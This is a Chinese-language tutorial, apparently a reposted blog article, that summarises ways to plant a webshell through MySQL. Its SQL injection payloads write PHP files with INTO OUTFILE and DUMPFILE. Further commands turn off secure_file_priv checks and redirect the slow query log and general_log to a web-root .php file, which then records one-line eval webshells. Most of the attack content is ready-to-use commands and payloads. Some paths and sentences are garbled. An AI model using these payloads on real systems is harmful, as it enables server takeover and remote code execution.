mysql数据库中getshell的方式总结 |
outfile和dumpfile写shell利用条件
基于union联合查询:?id=1 union select 1,'<?php phpinfo();?>',3 into outfile 'C:phpstudywwwshell.php'%23 ?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile 'C:phpstudywwwshell.php'%23 非联合查询当我们无法使用联合查询时,我们可以使用 ?id=1 into outfile 'C:phpstudywwwshell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23 代替空格的方法 +号, outfile和dumpfile的区别
因此,我们可以使用 当然 当我们使用 secure_file_priveMySQL的secure-file-prive参数是用来限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()传到哪个指定目录的 。
查询 show global variables like "%secure%" 利用sql语句修改参数 set global secure_file_prive= 但是5.6后不能利用sql修改了,所以只能利用配置修改
日志getshell慢日志getshell慢日志: 一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒 。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中 。查看服务器默认时间值方式如下: show global variables like '%long_query_time%' show global variables like '%long%' 查看慢日志参数 show global variables like '%slow%' 对慢日志参数进行修改 set global slow_query_log=1 #打开慢日志 set global slow_query_log_file='c:\phpstudy\www\test.php'#慢日志的路径 注意:一定要用双反斜杠 SELECT '<?php @eval($_POST[1]);?>' or sleep(11) 这儿11是超过慢日志的10秒时间 利用general_log利用 相关参数一共有3个:general_log、log_output、general_log_file show variables like 'general_log'; -- 查看日志是否开启 set global general_log=on; -- 开启日志功能 show variables like 'general_log_file'; -- 看看日志文件保存位置 set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置 show variables like 'log_output'; -- 看看日志输出类型 table或file set global log_output='table'; -- 设置输出类型为 table set global log_output='file'; -- 设置输出类型为file 一般log_output都是 getshell set global general_log=on set global general_log_file='需要攻击的路径' select '<?php eval($_POST[cmd]);?>' 这样就将一句话木马记录到 binlog的介绍可以看看这个 总结到此这篇关于mysql数据库中getshell方式的文章就介绍到这了,更多相关mysql getshell的方式内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持! |